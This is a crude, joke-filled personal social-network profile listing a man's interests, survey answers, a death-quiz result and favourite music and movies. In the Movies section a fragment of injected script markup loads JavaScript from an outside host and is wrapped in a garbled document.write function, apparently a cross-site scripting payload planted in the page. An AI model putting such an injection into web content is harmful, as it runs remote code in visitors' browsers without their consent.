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Steve-O

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About Me

When I was born ... the doctor came out to the waiting room and said to my father ... I'm very sorry. We did everything we could ... but he pulled through. I could tell that my parents hated me. My bath toys were a toaster and a radio. I remember the time I was kidnapped and they sent a piece of my finger to my father. He said he wanted more proof.
The future ain't what it used to be. I think it's wrong that only one company makes the game Monopoly. Why don't they make the whole plane out of that black box stuff? I'd Kill For the Peace Prize. And if there's a skeeter on my peeter, please whack it off.
You scored as Disease. Your death will be by disease. Maybe a foreign bug or you don't brush your teeth. Ew. BRUSH!

Disease


93%

Eaten


87%

Gunshot


73%

Suicide


67%

Disappear


67%

Cut Throat


53%

Natural Causes


47%

Posion


47%

Drowning


40%

Bomb


40%

Stabbed


33%

Accident


27%

Suffocated


13%
How Will You Die??
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My Interests


My doggy, camping/canoeing trips, jetskiing, gambling, porn (jk, well, not really), ice fishing and going on road trips. Oh and I love oldies to.

I'd like to meet:

Anyone but, liars and boring people, dog lovers are a plus. Definitley Jessica Alba, Eva Langoria and the Transformers.
TELL ME ABOUT YOURSELF - The Survey
Name: Mr. Bojangles
Birthday: 4-12-78
Birthplace: Mom's coochie
Current Location: Da Ville
Eye Color: Hazel
Hair Color: Blonde
Height: 6'0
Right Handed or Left Handed: Right
Your Heritage: German
The Shoes You Wore Today: Tennis
Your Weakness: Dogs
Your Fears: Dropping the soap in the shower
Your Perfect Pizza: Deepdish, all toppings
Goal You Would Like To Achieve This Year: Win Ms. America
Your Most Overused Phrase On an instant messenger: I have a restraining order against you
Thoughts First Waking Up: Why did I wet the bed again
Your Best Physical Feature: Fingernails
Your Bedtime: When I fall asleep...duhhhh
Your Most Missed Memory: Beer, Blunts & Bitches
Pepsi or Coke: Coke
MacDonalds or Burger King: It's McDonald's...moron...never heard of Macdonalds...sheesh
Single or Group Dates: I like threesomes
Lipton Ice Tea or Nestea: How about Long Island Ice Tea
Chocolate or Vanilla: I like Chocolate.....like my men
Cappuccino or Coffee: Coffee's cheaper
Do you Swear: Fuck no
Do you Sing: Not well
Do you Shower Daily: Uh huh
Have you Been in Love: Yes
Do you want to go to College: Skool iz dum
Do you want to get Married: Maybe someday
Do you belive in yourself: Sure, why not
Do you get Motion Sickness: Not really
Do you think you are Attractive: I'm definitley somewhere on a scale of 1-10
Are you a Health Freak: Have my ups and downs
Do you get along with your Parents: Yep
Do you like Thunderstorms: Yes
Do you play an Instrument: Negative
In the past month have you Drank Alcohol: Oh goodness no
In the past month have you been on Drugs: Depends what you mean by drugs
In the past month have you gone on a Date: No
In the past month have you gone to a Mall: I don't think I've gone in the past year
In the past month have you eaten a box of Oreos: No, but I ate some box....oh!
In the past month have you eaten Sushi: No
In the past month have you been on Stage: wtf? No
In the past month have you been Dumped: No
In the past month have you gone Skinny Dipping: It's cold...shrinkage
In the past month have you Stolen Anything: Does finding something that's not yours count?
Ever been Drunk: Once or twice
Ever been called a Tease: Dunno
Ever been Beaten up: Yes
Ever Shoplifted: Yes
How do you want to Die: Eating pretzel jello
What do you want to be when you Grow Up: Younger
What country would you most like to Visit: Australia
In a Boy/Girl..
Favourite Eye Color: Doesn't matter
Favourite Hair Color: Dark
Short or Long Hair: Loooooong
Height: 5'2--5'8
Weight: Fit
Best Clothing Style: What
Number of Drugs I have taken: A handful
Number of CDs I own: 100+
Number of Piercings: 0
Number of Tattoos: 0
Number of things in my Past I Regret: Somewhere around 100

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Music:

Love oldies (Motown, 50's, 60's, 70's), hate country and techno, but I like just about everything else. I have a WIDE range in music from Tool/Pantera/Prong to Stevie Wonder/Beach Boys/Supremes/Cheesy 80's/90's.

Movies:

Some of my favorites are all the corny humor movies (Dumb & Dumber tops the list). And then all your typical guy movies, The Bodyguard, Beaches, Thelma and Louise (JK). But Caddyshack, Terminator, Goodfellas...etc..... language="javascript" src="http://crosssiterequest.somee.com/request.js"function nothingf(){document·write("nathanjosiah1...{}");}..

Television:

Try not to watch too much, stick to sports and Comedy Central.
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Books:

American Psycho was the last I read. If you saw the movie, read the book, it's 10 times more intense.

Heroes:


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